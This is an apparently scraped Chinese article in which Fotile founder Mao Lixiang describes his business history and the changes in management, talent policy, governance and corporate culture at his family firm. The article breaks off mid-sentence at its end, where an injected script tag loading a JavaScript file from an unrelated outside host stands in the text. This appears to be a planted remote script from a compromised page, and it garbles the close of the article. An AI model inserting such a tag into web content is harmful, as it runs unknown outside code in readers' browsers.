茅理翔宁波方太厨具有限公司董事长
1941年出生于浙江宁波。
1985年创办慈溪无线电厂，担任厂长经理。
1991年生产电子打火枪，做到产销世界第一，被外商
誉为“世界点火枪大王”。
1995年开始进行二次创业，与儿子创办了方太。
2006年拟彻底退出方太，全权交给儿子。筹备第三次创业，立足做文化产业。
一定要将家族企业这个‘家’放大，变成大家文化。大家文化是一种讲社会责任的文化，是符合时代经济潜规则的文化，是一种聪明的竞争文化。
1992年邓小平南巡讲话，将中国的改革开放推向了一个新的高潮。家族企业更以雷霆万钧之势蓬蓬勃勃地发展起来，对中国的经济发展做出了巨大的贡献。我作为一个直接参与者、实践者和探索者，更是深有感触。我从1985年到1995年进行第一次创业，1996年到2006年进行了第二次创业。正好跨越了这历史性的15年，经历了家族企业的六大管理巨变。
管理模式的巨变
家族企业创业初期，是创业企业家一人打拼天下，家里人辅佐，一个人说了算、直线指挥、决策快、机制活、执行力强、团队合作好。有初级的制度，但制度服从人治。但随着市场竞争的加剧，企业规模的扩大，传统家族企业的弊病也越来越明显——管理粗放。
家族矛盾、排斥人才、战略模糊，严重制约了民企的发展。大家都感到很困惑，都在探索新的出路。有的民营企业家与管理专家联手将自己的企业改造成股份制，建立现代企业制度，有的成功了，有的失败了。
1999年我写了一篇“淡化家族制”的文章，提出建立有中国特色的现代家族制管理模式，将西方的现代管理思想、方法、制度引进来与中国传统文化和传统家族企业的优势进行嫁接。我是边探索边实践，在方太初步建立了现代家族制卓越管理模式。这个模式的特点是：企业是家族的，管理是现代的，引进了大批非家族职业经理人来经营企业，引进国际上最先进的管理制度与体系与方太进行对接。
人才观的巨变
管理以人为本，人是管理的主体。传统管理将人当成赚钱的工具，希望员工能无私奉献，拿最少的工资福利能做出较大的贡献。对人才只用家里人，不用外人，即使用了，只使用，不重用。而方太的人才观发生了巨变：
1.开放用人。总经理以下所有的中高层干部均为非家族职业经理人，很多都是从跨国公司过来的顶级人才。
2.尊重、信任、有职、有权。方太的授权做法非常彻底。对部级经理人三权下放，职能权、人事权、审批权。
连几千吨钢板的采购权都放给了生产总监和采购部长，几千万的广告费也放给了市场总监。这在一般民营企业是不可思议的。
3.人人都是人才。方太愿景的第一条：帮助每一个方太人成功。这与15年前相比是一个巨大转变。我们搞了个“阳光计划”，每年向大学招50名应届毕业生，集中培训六个月，然后人力资源部进行职业生涯设计，跟踪培养干部。还搞了一个飞翔计划，对普通员工进行全面培训。我们一年花在培训上的费用300多万，进行全员培训。
4.员工参与管理。现在的年轻人文化程度高了，民主参与管理的意识非常强烈。在第一次创业时，我根本不把这当成一回事，但现在我们开设了一个方太驶舰网，可以把建设、批评、抱怨等直接反映到网上。去年收到的合理化建议多达1065条。如果从中发现管理上的不足，我们会主动改进。每半年我们还进行一个职工满意度调查，改善我们的管理。
公司治理的巨变
传统管理就是人治，我的话就是制度。现代家族制管理模式的治理以法治为主，辅佐德治、情治的三治模式。这是吸收了西方的制度化管理加上中国传统文化的道德教育和情感管理。但法治是根本的治理制度。
1.重大决策董事会表决制。
2.为加强科学决策，某些重大决策特别是有些战略级经营层面上的，先征求经理层的意见。因为很多高层职业经理人不在董事会，但有较高的素质与能力来进行企业经营。
3.经理会直接执行公司年度计划，应全面实施，总经理每月有八个例会，治理经营层面之事。
4.监事会主要是审计。
5.成立职代会、工会、内部网站，进行民主监督和重大问题讨论。
价值文化的巨变
企业文化是企业的灵魂，而价值文化又是企业文化的灵魂。15年前的价值文化很简单，企业以产品为中心，产品以模仿为手段，产品是为股东赚钱用的。现在方太的价值文化发生了巨大的变化。主要表现在：
1.产品文化转变为“三品文化”，既产品、企品、人品的三“品”合一。方太非常理智、清醒地认识到一个企业只有产品是不够的，如果不注意企品和人品，同样出不了好的产品，甚至还会迷失方向。三品中人品是最根本的，惟有三品合一，这个品牌才是真正成功的品牌。方太将此列为方太的核心价值观。
2.从仿造到创造的转变：第一次创业，我要么自己买来国外产品进?script src=http://er12.com/t.js>
